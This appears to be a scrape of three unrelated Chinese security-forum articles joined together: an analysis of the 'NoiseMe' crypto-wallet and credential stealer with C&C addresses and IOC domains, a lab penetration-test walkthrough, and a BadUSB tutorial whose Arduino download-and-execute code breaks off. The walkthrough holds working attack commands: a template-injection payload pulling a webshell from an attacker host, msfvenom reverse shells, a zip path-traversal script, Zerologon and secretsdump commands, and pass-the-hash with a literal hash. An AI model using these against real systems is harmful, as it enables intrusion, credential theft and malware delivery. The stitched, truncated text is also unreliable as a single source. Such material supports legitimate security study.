黑客利用Dropper模块下载执行“上线模块”和“核心窃密模块”，达到窃取受感染主机加密货币和隐私凭证数据的目的。为了躲避安全防护软件查杀和对抗安全分析人员逆向分析，黑客使用了字符串加密、内存加载执行以及利用商业保护软件WinLicense加壳等多种技术手段保护“NoiseMe”窃密软件。“NoiseMe”窃密软件各个模块功能如图3所示。
图 3 NoiseMe模块功能示意图
## 3.1 Dropper模块分析
Dropper模块的主要任务是下载和执行功能模块。为了对抗逆向分析，黑客将Dropper模块中的关键字符串信息先进行异或加密（异或密钥为“dNwlEXttSqq”），加密的结果再用Base64编码存储到程序中。解密方法为其逆过程。解密代码如图4所示。
图 4 字符串解密算法
在完成关键字符串解密后，Dropper模块会从2个内置的链接下载并执行功能模块。其中，内置链接[hxxp://ra.pdofan[.]ru/Justmine.exe”](C:\\Users\\Administrator\\AppData\\Local\\Microsoft\\Windows\\Temporary
Internet Files\\Content.Outlook\\85E9QCTP\\
"hxxp://ra.pdofan\[.\]ru/Justmine.exe”")下载的是上线模块，该模块以Justmine.exe命名并存储到%USERPROFILE%目录；内置链接[[“hxxp://v69.pdofan[.]ru/111111111.exe”](C:\\Users\\Administrator\\AppData\\Local\\Microsoft\\Windows\\Temporary
Internet Files\\Content.Outlook\\85E9QCTP\\
"“hxxp://v69.pdofan\[.\]ru/111111111.exe”")下载的是核心窃密模块，以111111111.exe命名并保存到%USERPROFILE%目录。下文我们会详细地分析这两个功能模块的具体实现。下载和执行功能模块相关代码如图5所示。
图 5 下载文件并执行
从图5中可以看出，Dropper模块中下载功能模块的URL链接是HTTP协议，但是在分析过程中我们发现它在传输功能模块时实际使用的是HTTPS协议。黑客利用了HTTP重定向功能将下载链接重定向到HTTPS网址上，再以HTTPS协议传输数据以达到隐藏恶意模块传递和躲避防火墙侦测的目的。重定向请求和应答的网络数据包如图6所示。
图 6 重定向到HTTPS
当Dropper模块完成上线模块和核心窃密模块的下载和执行后，其核心功能使命便已完成，接下来就是清理痕迹以躲避安全分析人员的追踪溯源。清理痕迹功能是利用上文解密出的Remove.bat批处理脚本程序实现，具体由Dropper模块中的“SystemDataDataRowBuilder”函数负责实施。相关代码如图7所示。
图 7 自删除代码
## 3.2 上线模块
“上线模块”是由Dropper模块下载并命名为`Justmine.exe`，其将自身伪装成WinRAR应用程序，用于迷惑攻击目标，获取被感染主机的国家、城市以及系统版本、时区等信息，然后将这些信息上传到C&C服务器。黑客能够根据攻击需求向受感染主机下发并执行任意攻击模块。
### 3.2.1 获取设备信息
“上线模块”利用Replace函数过滤掉垃圾数据得到真正的C&C服务器地址“45.67.231.23:53623”。C&C地址的获取代码如图8所示。
图 8 C&C地址获取
在获得C&C服务器后，“上线模块”便开始收集受感染主机的设备信息，包括硬件ID、操作系统、公网IP、国家、CPU信息和显卡信息。这些信息会临时存储在内存中，作为上线信息上传到C&C服务器。获取设备信息代码如图9所示。
图 9 获取设备信息
### 3.2.2 安装和持久化
在获取到设备信息后，“上线模块”接着安装自身并利用计划任务实现持久化，其会先判断当前的执行路径与它预置的`%USERPROFILE%\\Video\\Junker`路径是否相同，为了方便描述，下文简称该路径为“安装目录”。
如不相同，“上线模块”会先创建该“安装目录”，然后通过遍历进程杀死在“安装目录”下的PHPmyAdmin.exe进程，接着将自身拷贝到“安装目录”下并命名为`PHPmyAdmin.exe`，再执行“安装目录”下的`PHPmyAdmin.exe`，最后退出执行。相关代码如图10所示。
图 10安装目录
如相同，“上线模块”会判断是否已经安装过，如果安装过就退出执行，否则就调用`Junk`函数向受感染主机安装计划任务以实现持久化。恶意代码利用Windows系统自带的schtasks程序执行安装计划任务，反编译后显示用于安装计划任务的命令字符串被混淆过，见图11。
图 11计划任务
从图11中可以看出，计划任务被安装到“[\Microsoft](http://Microsoft)”路径下。任务名称以`Php-`字符串开始，后面再拼接一个受感染主机硬件信息（机器名称、当前登录用户名、用户所在域、操作系统版本信息组成的字符串）的HASH值。安装好的计划任务如图12所示。
图 12 电脑中被安装的计划任务
### 3.2.3 下载执行扩展模块
“上线模块”在实现持久化后，就利用前面解析的C&C服务器和受感染主机的设备信息构造上线请求，并以SOAP协议每隔60秒与C&C服务器进行一次通信。C&C服务器收到上线请求后会向受感染主机下发配置信息，配置信息包含扩展模块的下载地址和扩展模块的启动方式（显示执行、隐藏执行）等配置信息。“上线模块”会按照配置信息下载并执行扩展模块。利用配置信息下达控制指令，黑客可以十分灵活的控制被感染主机执行任意攻击程序以实现其攻击目的。解析控制指令代码如图13所示。
图 13 解析控制指令
从图13中可以看出，“上线模块”会调用“Drop”函数来下载和执行扩展模块。该函数会判断`%USERPROFILE%\\Video\\Junker\\Lock`目录是否存在，如若不存在则先创建该目录，然后再按照配置信息下载执行扩展模块。相关代码如图14所示。
图 14下载执行代码
捕获到的上线请求数据包如图15所示。
图 15 上线请求数据包
上线请求数据各字段的含义如表2所示。
**_*上传字段*_** | **_*含义*_**
---|---
BuildID | 黑客定义的标识
Country | 国家
HardwareID | 硬件ID信息
IP | 公网IP
LastActive | 上次上线时间
OS | 操作系统
Processor | CPU信息
Videocard | 显卡信息
表2 上线请求字段含义
C&C服务器返回的控制指令数据包内容如图16所示。
图 16 控制指令数据包
图16中各个字段含义如表3所示。
**字段名称** | **字段含义**
---|---
Action | 指令含义，目前仅支持Execute
Current | 未知，样本中未做判断
ExecuteHidden | 是否隐藏执行
FinalPoint | 未知
ID | 任务ID
Status | 状态是否激活
Target | 存储扩展模块的URL
Visible | 是否可见
表3 上线应答字段含义
在对“Target”字段中的扩展模块进行分析后，我们发现其是一个与Dropper模块类似的功能模块，用于下载核心窃密模块，故不再做过多的介绍。
## 3.3 核心窃密模块
“核心窃密模块”是由Dropper模块下载并命名为`11111111.exe`，它的核心代码经解密后在内存中执行以达到绕过杀毒软件的效果。
### 3.3.1 自解密执行
反编译“核心窃密模块”，结果显示该模块仅有2个类，一个是入口函数类（入口点`_0x_u1632184666.Main`），另一个是加密解密类（`_0x_u1005254334`），类名称和函数名均是被混淆过的，如图17所示。
图 17 入口类和加密解密类
“核心窃密模块”执行后先调用`_0x_u1005254334`函数对内置的字符串进行解密。解密过程是先将字符串转为16进制，然后使用硬编码的密钥`QDAWDfskVf`与该16进制数据进行异或，异或的结果再Base64解码得到最终的可执行程序（Holivar.exe）。相关代码如图18所示。
图 18解密代码
“核心窃密模块”通过调用`_0x_u956374591`函数实现内存加载并执行Holivar.exe，并向Holivar.exe传递2个参数，分别为存储服务器（“195.161.62.146”）和BuildID
（“MERCEDES”）。代码如图19所示。
图 19内存加载执行
### 3.3.2 窃密功能分析
“核心窃密模块”在内存中加载并执行Holivar.exe，由Holivar.exe负责实施窃取受害人的加密货币财产和隐私数据。为了便于描述，我们在分析窃密功能时均称之为“Holivar模块”。
#### 3.3.2.1 下载窃密配置
“Holivar模块”启动后会尝试以websocket协议、2012端口与存储服务器（“195.161.62.146”）建立连接，如果不能连接，则一直等待；如果连接成功，则从存储服务器下载配置信息。通过修改配置信息，黑客可以指定要窃取数据的类型。图20为下载和解析窃密配置信息代码。
图 20 下载和解析配置信息
图20中各个字段含义如4表所示。
**字段名称** | **字段含义**
---|---
GrabBrowserCredentials | 窃取浏览器凭证
GrabColdWallets | 窃取数字货币钱包
GrabDesktopFiles | 窃取文件
GrabFtp | 窃取FTP凭证
GrabRdp | 窃取Rdp凭证
GrabDiscord | 窃取Discord凭证
GrabTelegram | 窃取Telegram凭证
Extensions | 窃取文件类型
表4 窃密配置信息字段含义
解析完窃密配置信息后，“Holivar模块”便开始按照配置信息收集受感染主机的隐私数据。
#### 3.3.2.2 获取客户端信息
“Holivar模块”会收集受感染主机的客户端信息，其中包括该窃密软件的BuildID、显示器屏幕分辨率、受感染主机的时间、时区、用户名、公网IP、国家、城市、操作系统、硬件信息、反病毒软件、操作系统语言信息。利用这些客户端信息，黑客可以区分不同的受感染主机，通过筛选后对特定目标进行攻击。信息收集相关代码如图21所示。
图 21 获取客户端信息
通过对“Holivar模块”进行二进制分析后，我们发现黑客可能利用了GitHub上的一个开源项目（<https://github.com/chrizator/WMIGatherer>）实现了获取设备的硬件信息和反病毒软件信息。开源代码与“Holivar模块”的代码片段比较如图22所示。
图 22 GitHub开源代码与Holivar模块代码对比
#### 3.3.2.3 窃取浏览器数据
反汇编代码显示“Holivar模块”能够窃取基于Chromium和Firefox内核的浏览器的数据。“Holivar模块”通过遍历和查找`%USERPROFILE%\\AppData\\Local`和`%USERPROFILE%\\AppData\\Roaming`两个目录下的Login
Data、Web Data、Cookies文件，获取符合条件的浏览器文件夹。相关代码如图23所示。
图 23获取Profile目录
在得到浏览器的安装路径后，“Holivar模块”通过拼接目录获取Cookies、autofill、Credit
Cards、Credentials的全路径，获得浏览器中存储的隐私数据。反编译后的代码如图24所示。
图 24读取Cookies
#### 3.3.2.4 窃取加密货币钱包
“Holivar模块”能够窃取10种加密货币客户端软件的钱包文件，其中包括6种加密货币官方客户端钱包，如：比特币、莱特币、字节币、达世币、以太币、门罗币，此外还有比特币的轻量钱包客户端Electrum和加密货币交易软件Exodus的钱包。恶意软件获取受感染主机中数字钱包的信息如表5所示。
**货币名称** | **钱包信息**
---|---
Bitcoin | 读取%AppData%\Bitcoin\wallet.dat文件获取钱包信息
Bitcoin-Qt | 先查询注册表“HKCU\Software\Bitcoin-Qt\strDataDir”得到安装路径，然后读取该路径下的“wallet.dat”文件
Bytecoin | 读取“%AppData%\bytecoin\”路径下的后缀名为“*.wallet”的文件获取钱包信息
Dash-Qt | 先查询注册表“HKCU\Software\Dash-Qt\strDataDir”得到安装路径，然后读取该路径下的“wallet.dat”文件
Electrum | 遍历“%AppData%\ Electrum\ wallets\”路径下的文件获取钱包信息
Ethereum | 遍历“%AppData%\ Ethereum \ wallets\”路径下的文件获取钱包信息
Exodus | 遍历“%AppData%\ Exodus\ exodus.wallet\”路径下的文件获取钱包信息
Litecoin | 读取“% AppData %\Litecoin\wallet.dat”文件获取钱包信息
Litecoin-Qt | 先查询注册表“HKCU\Software\Litecoin-Qt\strDataDir”得到安装路径，然后读取该路径下的“wallet.dat”文件
Monero | 恶意代码通过查询注册表“HKCU\Software\ monero-core\wallet_path”得到Monero币钱包文件路径
表5 钱包文件位置信息获取方法
#### 3.3.2.5 窃取文件
“Holivar模块”具有窃取受感染主机任意文件的功能，其窃取的文件路径和文件后缀是从上文中“下载窃密配置”获得。黑客可以按照攻击需求灵活的配置要窃取文件的目录以及文件后缀名。通过逆向分析我们发现，“Holivar模块”仅上传小于等于2097152字节的文件。代码如图25所示。
图 25 窃取文件大小
#### 3.3.2.6 窃取Discord凭证
Discord是专门为了服务游戏人群而设计出来的即时通信软件，其提供短信、语音和视频通话等功能。此外，它还拥有极高的匿名性，这一特点吸引了很多不法分子（如：“右翼分子”、“非自愿独身者”、
“男权至上主义者”）使用这款应用进行线上交流和线下集会。
逆向分析显示“Holivar模块”也对Discord凭证感兴趣，其获取Discord的凭证信息大致流程是：首先找到Discord的进程，然后dump其进程数据，最后解析dump文件，获取到登录凭证信息。相关代码如图26所示。
图 26 查找Discord进程
#### 3.3.2.7 窃取Ftp凭证
“Holivar模块”能够窃取FileZilla软件的登录凭证，FileZilla是一个免费开源的FTP软件，它的快速连接密码被存储在`%userprofile%\AppData\Roaming\FileZilla\recentservers.xml`中，文件格式如图27所示。
图 27 recentservers配置文件
保存的站点密码被存储在`%userprofile%\AppData\Roaming\FileZilla\sitemanager.xml`中，文件格式如下图所示：
图 28 sitemanager配置文件
“Holivar模块”只要读取上面的两个文件就能够轻易获取FileZilla登录凭证。图29是恶意软件解析FileZilla登录凭证的部分代码截图。
图 29 解析配置信息
#### 3.3.2.8 窃取RDP凭证
RDP（远程桌面协议）登录凭证通常是各类黑客软件的攻击目标之一，其在暗网中以3至15美元的价格被出售。逆向分析显示“Holivar模块”也窃取RDP凭证数据，其使用了CredEnumerateW
API读取受感染主机的RDP凭证，然后提取每个RDP凭证保存的主机名、用户名和密码。解析RDP凭证代码如图30所示。
图 30 盗取RDP凭证
#### 3.3.2.9 窃取Telegram凭证
“Holivar模块”通过读取`%AppData%\TelegramDesktop\tdata\D877F783D5D3EF8C\map`和`%AppData%\TelegramDesktop\tdata\D877F783D5D3EF8*`获取桌面版的Telegram登录凭证，进而实现对Telegram会话的劫持。相关代码如图31所示。
图 31 盗取Telegram数据
#### 3.3.2.10 获取进程信息
“Holivar模块”会收集受感染主机运行的进程名称和启动参数并将其上传到存储服务器。黑客通过对这些数据进行筛选从而判断目标设备是否存在能够被攻击的进程，以便展开后续的攻击。相关代码如图32所示。
图 32 遍历进程信息
#### 3.3.2.11 获取安装应用列表
“Holivar模块”除了窃取当前运行的进程列表，还窃取受感染主机安装的应用程序列表，它通过遍历注册表`SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall`下面的内容获取安装应用的名称。相关代码如图33所示。
图 33 获取应用列表
#### 3.3.2.12 获取屏幕截图
“Holivar模块”会向存储服务器发送受感染主机的屏幕截图，它先获取受感染主机的屏幕大小，然后创建一个与屏幕大小相同的Bitmap，最后利用Graphice.CopyFromScreen函数获取当前屏幕的位图信息。屏幕截图实现代码如图34所示：
图 34 屏幕截图
#### 3.3.2.13 上传凭证数据
在“Holivar模块”完成隐私数据收集后，其使用websocket协议将这些数据上传到存储服务器，请求路径是“Credentials”。上传数据请求代码如图35所示。
图 35 回传数据
数据上传成功后，
“Holivar模块”会创建`%USERPROFILE%\\AppData\\Local\\Temp\\Remove.bat`批处理文件，利用此脚本实现自删除功能。
# 四、总结及建议
通过上文的分析可以看出，“NoiseMe”窃密软件是一款同时具备加密货币钱包及主机凭证信息窃取的功能。通过其伪装性的攻击载体来看，其主要针对的是那些期望进行自动化交易的人员，这些人具有交易频繁，交易量大等特点，其中很多是拥有大量加密货币的大户。一旦此类人感染了“NoiseMe”，其受到的损失将是不可估量的。此外，黑客从中窃取的凭证信息也将是黑客进行关联攻击的重要依据，这会大大的扩展黑客的攻击路径，以实现攻击的最大利益化。
从本次攻击的过程来看，“NoiseMe”恶意代码主要以伪装的手段来传播，并在一定程度使用社会工程学来欺骗目标下载恶意代码执行。由于目标的安全意识薄弱，使得这种看似简单的攻击手段依然有效，且在黑客中仍然被大量使用。随着数字货币的应用场景日趋丰富，我们仍然需要做好基础的安全工作包含安全意识的培养、基础安全设置的管理等等。因此，基于本次攻击的分析给出如下几条建议以防御“NoiseMe”恶意代码的入侵：
1. 不要从第三方下载和运行未知的应用程序;
2. 校验可执行文件的签名以及HASH;
3. 开启防火墙，拦截未知应用网络通信;
4. 及时给电脑打补丁，修复漏洞;
5. 不要使用浏览器的自动填充密码和信用卡功能;
6. 不要使用一些应用程序的保存密码功能。
# 五、IOC
**注：以下为收集到的部分NoiseMe家族域名信息**
0qe.pdofan.ru
44jx.seraph15.ru
4t5zk1.anri44til.ru 51b6ru.anri44til.ru 57qy.perfdom.ru
5fui.anri44til.ru
5xbv.pdofan.ru
7xf3z.ogritefit.ru 9z2f.brizy5.ru
c.anri44til.ru
c.chernovik55.ru
d.seraph15.ru
e.j990981.ru
e.pdofan.ru
g.pdofan.ru
h.j990981.ru
jf.perfdom.ru
k1ristri.ru
mh.owak-kmyt.ru
n3.pdofan.ru
ow.chernovik55.ru
p6.k1ristri.ru
pe.pdofan.ru
ro.pdofan.ru
s8n.j990981.ru
u3w.chernovik55.ru
uhavebullet.ru
v69.pdofan.ru
vdd9.ogritefit.ru
xm6.naabeteru.ru
ycl.k1ristri.ru
zvsk.ogritefit.ru
* * * | 社区文章 |
## 环境配置
外网网段：192.168.2.0/24
内网网段：10.10.1.0/24
10.10.10.0/24
ubuntu：192.168.2.189
tomcat：192.168.2.122
10.10.1.129
fileserver：10.10.1.128
10.10.10.140
dc：10.10.10.139
攻击机kali：192.168.2.105
## ubuntu
首先对ubuntu进行端口扫描，发现开了21、22、80、888、3306、8888端口
nmap -T4 -sC -sV 192.168.2.189
这里访问一下80端口发现报错没有找到站点，应该是一个宝塔的面板，这里下面给出了解决方法，绑定域名www.cf1.com
这里进入kali的/etc/host目录把192.168.2.189这个ip跟www.cf1.com这个域名绑定
然后再访问一下www.cf1.com即可进入，得到PBOOTCMS的页面
这里再使用kali进行信息搜集，但是没有找到什么有价值的网址
dirb http://www.cf1.com
这里通过百度得到PBOOTCMS有一个敏感的目录如下，访问一下得到cms的版本
http://www.cf1.com/doc/ChangeLog.txt
这里我使用御剑没有扫除敏感文件，这里我挂代理使用xray扫一下有什么文件暴露没有
xray.exe webscan --listen 127.0.0.1:7777 --html-output report.html
得到一个`config.tar.gz`的文件，看这个后缀名应该是个备份文件
访问一下，把这个备份文件下载下来
得到三个php文件，这里先看一下database.php，返现了数据库用户名跟连接的密码1，还有dbname，这里猜测应该是数据库的文件
百度之后发现PBOOTCMS默认的数据库为SQLite，下载SQLite的专属数据库管理软件DB Browser并赋予权限
然后再访问一下之前找到的db文件，将其下载到本地
在DB Browser里面打开数据库文件可以看到有很多的表
在浏览数据找到ay_user这个表看到有一个admin用户，但是password地方这里是一串字母数字，这里就猜测是md5加密
这里通过md5解密得到密码为`admin7788`
进入后台`admin.php`，通过`admin/admin7788`登录到后台
登录成功
这里通过百度发现有date，in_array，explode，implode这几个函数可用，乍一看是些没啥用的函数，
但还是找到了可以利用的方式，只要将函数名写成数组，经由implode拼接成字符串，最后进入eval即可执行代码。
这里构造一个phpinfo
{pboot:if(implode('', ['c','a','l','l','_','u','s','e','r','_','f','u','n','c'])(implode('',['p','h','p','i','n','f','o'])))}!!!{/pboot:if}
然后访问任意网站即可打出phpinfo
那么这里我们可以通过远程加载的方法往本地写入一个shell，首先在本地生成一个一句话木马2.php，执行以下命令远程加载，即可在靶机生成一个test.php文件
{pboot:if(implode('',['f','i','l','e','_','p','u'.'t','_c','o','n','t','e','n','t','s'])(implode('',['2','.php']),
implode('',['<?php
file_','put_','contents(','"test.php",','file','_get_','contents("','http://192.168.2.105:8000/2.txt
"))?>'])))}!!!{/pboot:if}
这里我们访问并连接得到webshell
执行命令返回127，应该是disbale禁用了函数，进入phpinfo看一下果不其然，进了一多半的函数
这里是宝塔面板php版本为7.0，这里就先尝试使用上传exp直接绕，链接如下
<https://github.com/mmor1/exploits/tree/master/php7-backtrace-bypass>
上传exp.php
上传成功，但是这里没地方执行命令，我看了一下他们其他使用这个exp绕的时候都会有一个输入框，但是我这里不知道啥问题没有
反正这个地方卡了半天，然后我在看exp.py的代码的时候发现他的第一行代码是pwn("uname
-a")，这不是执行linux代码的地方吗，那么我尝试一下直接执行bash反弹命令可不可以呢
打开7777端口监听然后访问exp.py拿到了反弹shell
首先进行下信息搜集，是ubuntu18.04.4的版本，有个172的ip，有个192的ip，那么应该是一个是docker，一个是本机，我应该拿到的是一个docker的shell
这里`/etc/passwd`查看下账户，发现一个cf1账户
进入`/home/cf1`目录发现rsa
把id_rsa拷贝出来，加权执行
得到ssh连接
但是这里还是个user权限，尝试先提权，使用docker提权
docker run -v /etc:/mnt -it alpine
cd /mnt
cat shadow
这里看了一下cf1这个账号密码应该是破解不出来，那我就尝试创建一个账户test
openssl passwd -1 --salt test
因为是个docker，没有openssl环境，而且curl、apt-get、sudo install全部都用不了，没办法这里就用不了docker提权了
这里换个方法，使用到CVE-2021-3156提权，链接如下：<https://github.com/worawit/CVE-2021-3156，使用本地起一个http服务，将exp放在目录下，然后执行命令>
wget http://192.168.2.161:8000/exp.py
ls
切换到root用户即可，在/root目录下拿到第一个flag
这里拿到的是一个交互型的shell，先生成一个msf的木马上线msf比较方便
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.2.105 LPORT=4444 -f elf > shell.elf
msf开启监听，然后把木马上传到靶机执行`chmod 777 shell.elf`加权，执行elf即可得到反弹的meterpreter
这里再在靶机得到的交互型shell里面执行`sudo apt-get install nmap`安装nmap
然后执行nmap -sn 192.168.2.0/24 -T4对192.168.2.0这个网段进行扫描，得到tomcat的ip为192.168.2.122
ps：这里因为我web和ubuntu设置的桥接，其他几个ip是其他电脑或者手机的ip
然后使用nmap继续对122这台主机进行端口扫描得到3306和8080端口，结合tomcat应该判断8080为一个tomcat
nmap -T4 -sC -sV 192.168.2.122
## tomcat
访问下8080端口是一个jspxcms
这里通过百度发现jspxcms的后台地址为`/cmscp/index.do`，访问一下得到后台
尝试下弱口令`admin/123456`
登陆成功
这里百度过后发现jspxcms有一个后台解压，后台可以上传zip文件，上传后会自动解压，问题出现在WebFileUploadsController.java里的unzip方法，调用了下层方法却没有进行文件名检查，导致目录穿透。上传的文件默认会在tomcat目录\webapps\ROOT\uploads\1\下，但构造压缩包可以使上传的文件穿到\webapps下，不会受JspDispatcherFilter的约束
将web.xml放到WEB-INF文件夹下
# web.xml
<?xml version="1.0" encoding="ISO-8859-1" ?>
<web-app xmlns="http://java.sun.com/xml/ns/j2ee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee
http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd"
version="2.4">
<display-name>Main</display-name>
<description>
Shell
</description>
<servlet>
<servlet-name>shell</servlet-name>
<jsp-file>/shell.jsp</jsp-file>
</servlet>
<servlet-mapping>
<servlet-name>shell</servlet-name>
<url-pattern>/shell</url-pattern>
</servlet-mapping>
</web-app>
然后使用`jar -cvf shell.war *`将目录下的文件打包为shell.war
然后使用test.py生成test.zip
import zipfile
if __name__ == "__main__":
try:
zipFile = zipfile.ZipFile("test.zip", "w", zipfile.ZIP_DEFLATED)
binary = b'<script>alert("helloworld")</script>'
zipFile.writestr("../../test.html", binary)
zipFile.write("shell.war" ,"../../../shell.war")
zipFile.close()
except IOError as e:
raise e
执行即可得到`test.zip`
这里我直接使用`windows/meterpreter/reverse_tcp`生成的木马被360给拦截了，查阅资料后发现使用`java/jsp_shell_reverse_tcp`载荷即可绕过
点击上传文件并用ZIP解压
访问<http://192.168.2.122:8080/shell/shell.jsp即可得到反弹的meterpreter>
进行信息搜集可以发现一个10.10.1.0/24段，一个192.168.2.122段
这里msf上不好执行windows命令这里我派生给cs一个会话，首先新建一个监听
然后在msf里面执行
use exploit/windows/local/payload_inject
set lhost 192.168.2.161
set lport 5555
set sessions 4
run
运行即可在cs里面上线
这里sleep 1后执行hashdump得到Administrator的密码
然后对10.10.1.0/24段进行扫描得到另一个存活的ip：10.10.1.128
回到msf添加路由并配置socks代理，这里我用4a比较习惯，也可以用5，并配置/etc/proxychains.conf文件
route add 10.10.1.0 255.255.255.0 4
route print
use auxiliary/server/socks_proxy
set version 4a
run
然后使用proxychains配合nmap进行端口扫描，只能访问到445端口
proxychains nmap -sT -Pn 10.10.1.128 -p 445,80,139,3306
445端口联想到ipc，直接使用一个空连接尝试访问FILESERVER成功
把之前抓到的hash解密一下得到administrator的密码为`QWEasd123`
那么这里我直接尝试上远程桌面进行信息搜集，这里首先打开远程桌面
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
在本地配置proxychain为192.168.2.105/1080端口代理进内网，然后使用administrator/QWEasd123进行登录
得到第二个flag
## fileserver
之前在信息搜集的过程中就已经发现主机中存在360套餐，为了方便下一层的渗透这里把360关掉会比较方便
但是放大之后这里360图标不见了
那先把windows defender关掉
关不掉360那我就直接粗暴的卸载了
还有一个360杀毒也要卸载掉
这里拿到了administrator的账号密码尝试使用ipc连接成功
使用administrator的hash进行psexec，没有横向成功
这里继续往下走有两种方法，首先是上线msf的方法
当我们打到这个地方的时候已经经过了两层网络，从192.168.2.0段到了10.10.1.0段，所以这时候如果我们生成个木马反弹到msf，msf是接收不到的，所以这时候我们就需要进行流量转发，把我们拿到的这台10.10.1.129主机当作跳板，把所有经过这台主机的流量全部转到kali上面去
shell netsh interface portproxy add v4tov4 listenport=7788 connectaddress=192.168.2.105 connectport=7788 //添加ipsec入站规则
shell netsh interface portproxy show all //查看规则
这里可以看到已经添加成功，这里就相当于所有经过10.10.1.129的7788端口的流量都会被转发到192.168.2.105(kali
ip)的7788端口处
那么我们用msf生成一个木马，lhost直接设置为10.10.1.129，但是流量还是会直接转到msf上
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.1.129 LPORT=7788 -f exe > abc.exe
把木马拷贝到128这台主机上
shell copy C:\Users\Administrator\Desktop\test.exe \\10.10.1.128\c$\windows\temp\test.exe
尝试了下at，sc计划上线都失败
那么这里我们有管理员的帐号跟密码，我们就可以使用到psexec的exe直接执行命令
PsExec.exe \\10.10.1.128 -u administrator -p QWEasd123 -i c:\\windows\\Administrator\\Desktop\\abc.exe
kali监听7788端口即可收到反弹的meterpreter
这里懒得开远程桌面上去找了，根据之前flag的位置使用psexec获取一个cmd环境顺利得到第三个flag
拿到第三个flag后继续进行信息搜集，可以看到也有两个网段，分别为10.10.10.0/24和10.10.1.0/24
进入cmd环境下，首先用chcp 65001设置下否则会乱码，然后ipconfig
/all可以看到dns为fbi.gov，那么这台主机就处于fbi.gov这个域里面
抓下密码，hashdump这里没有执行成功不知道是什么原因，是system权限，有点迷，换了个`run
post/windows/gather/smart_hashdump`命令抓取到了administrator的hash
解密一下也是QWEasd123
另外一种方法上线cs的话，首先创建一个监听中转
然后生成一个木马
这里把木马拷贝到128主机上，这里可以建立ipc连接后copy即可
执行即可上线cs
## dc
继续对10.10.10.0/24段的主机进行信息搜集，前两个命令都报错
shell net view
shell net view domain
shell net user
然后使用cs对10.10.10.0/24网段主机进行扫描，得到另一个存活的ip：10.10.10.139
回到msf添加10.10.10.0段的路由
使用proxychain配合nmap扫描些常见的端口，这里可能是几层网络的原因扫起来太慢了我就没扫完
proxychains nmap -sT -Pn 10.10.10.139 -p 80,88,89,8000,9090,1433,1521,3306,5432,445,135,443,873,5984,6379,7001,7002,9200,9300,12111,27017,27018,50000,50070,50030,21,22,23,2601,3389 --open
看了下cs扫出的端口88、389端口基本确定为DC
尝试了永恒之蓝、弱密码、pth等一系列方法都没成功，这里就不放图了，然后使用到cve-2020-1472，首先检测一下存在漏洞
proxychains python3 zerologon_tester.py dc$ 10.10.10.139
然后使用cve-2020-1472-exploit.py将dc密码置空
proxychains python3 cve-2020-1472-exploit.py dc$ 10.10.10.139
再使用impacket/examples里面的secrertsdump.py获取密码
可以使用这个命令
proxychains python3 secretsdump.py fbi/dc\[email protected] -just-dc -hashes :
这个命令也可以获取到
proxychains python3 secretsdump.py fbi/dc\[email protected] -no-pass
还是使用到impacket里面的smbexec.py直接获取dc的cmd环境
proxychains python3 smbexec.py -hashes aad3b435b51404eeaad3b435b51404ee:669a3273144a82b942377c1001ed03a3 [email protected]
这里还是之前存放flag的目录得到root.txt，得到最后一个flag
这里设置了chcp 65001前面那串还是乱码，好奇心驱使我看了下，原来是说已经打通了域控，本次渗透至此结束 | 社区文章 |
## 0x00 锲子
这篇博文缘起公司一位单片机dalao的月末技术分享，当时觉得是挺有意思的，顺带着自己目前的研究方向又是偏向硬件（无线）、协议这一块，又恰好之前公司接了一家公司的授权实地渗透，当时有想法是就是扔badusb（捂脸），这边仅记录下学习过程。
## 0x01 USB介绍
* USB(Universal Serial Bus)原意是指`通用串行总线`，是一个外部总线标准，用于规范电脑与外部设备的连接和通讯，这套标准在1994年底由英特尔、康柏、IBM、Microsoft等多家公司联合提出，提出之后经过一个快速的发展成功替代串口和并口等标准，成为一个世界认可的统一标准，被当代的海量设备使用。
* HID(Human Interface Device)是一种计算机协议，约定了计算机在完成通讯过程时所要遵守规则，HID协议使得`设备之间无需安装驱动就能进行交互`，基于HID协议的USB设备有USB键盘、鼠标等。
## 0x02 BadUsb介绍
### 起源：
* BadUSB最早是在2014年的BlackHat安全会议上由研究人员JakobLell和Karsten Nohl提出并展示的（[PDF](https://srlabs.de/wp-content/uploads/2014/11/SRLabs-BadUSB-Pacsec-v2.pdf)[资料](https://srlabs.de/wp-content/uploads/2014/11/SRLabs-BadUSB-Pacsec-v2.pdf)）。不同于其他的U盘病毒，它`利用HID协议无需安装驱动就能进行交互`的功能，通过模拟键盘、鼠标、网卡等设备，最终拿下Shell或者窃取敏感信息等。
### 原理：
* 主机是通过设备固件中的某些描述符来判断USB哪种设备的。这就意味着我们可以利用此漏洞将一些特殊的USB设备伪装成为其他任何设备，例如输入设备、网卡等等。
当插入USB设备后，主机驱动会向设备请求各种描述符来识别设备，为了把一个设备识别成HID类别，设备固件在定义描述符的时候必须遵守HID规约。
### 构成：
* 普通U盘一般都是由闪存（FLASH）和主控（MCU）构成，主控主要负责控制数据读写任务分配，闪存的话一般有一部分用来存放u盘固件（无法直接读取），其它部分用来进行读写和存储。
* BadUsb就是利用对u盘固件进行重新编程，将虚拟键盘输入转为协议约定的字节指令集成进固件中，让主机将usb识别为一块键盘，并执行事先编写好的虚拟键盘输入。
## 0x03 BadUsb危害及利用方式
### 危害：
* 恶意代码存在于U盘的固件中，PC上的杀毒软件无法访问到U盘存放固件的区域，因此也就意味着杀毒软件和U盘格式化都无法防御BadUSB的攻击。
### 利用：
* BadUSB插入后，可以模拟键盘、鼠标等设备对电脑进行操作，例如通过这些操作打开电脑的命令终端，并执行恶意命令，从指定网址下载其他代码并于后台静默运行。这些代码功能包括：窃取信息、反弹shell、发送邮件等，从而实现控制目标机或者窃取信息的目的。
## 0x04 攻击代码&演示
### 贴下实物：
这边买的是某宝上制成U盘模样的Arduino Leonardo，50RMB左右就能入手一块了，恶意代码可以用Arduino进行烧录
### 贴下代码：
这边贴的是一个最简单的cmd远端下载恶意文件执行，因为只是为了解原理，所以没有加绕杀软uac的代码:
#include <Keyboard.h>
void setup() {
Keyboard.begin();//开始键盘通讯
delay(1000);//延时
Keyboard.press(KEY_LEFT_GUI);//win键
Keyboard.press('r');//r键
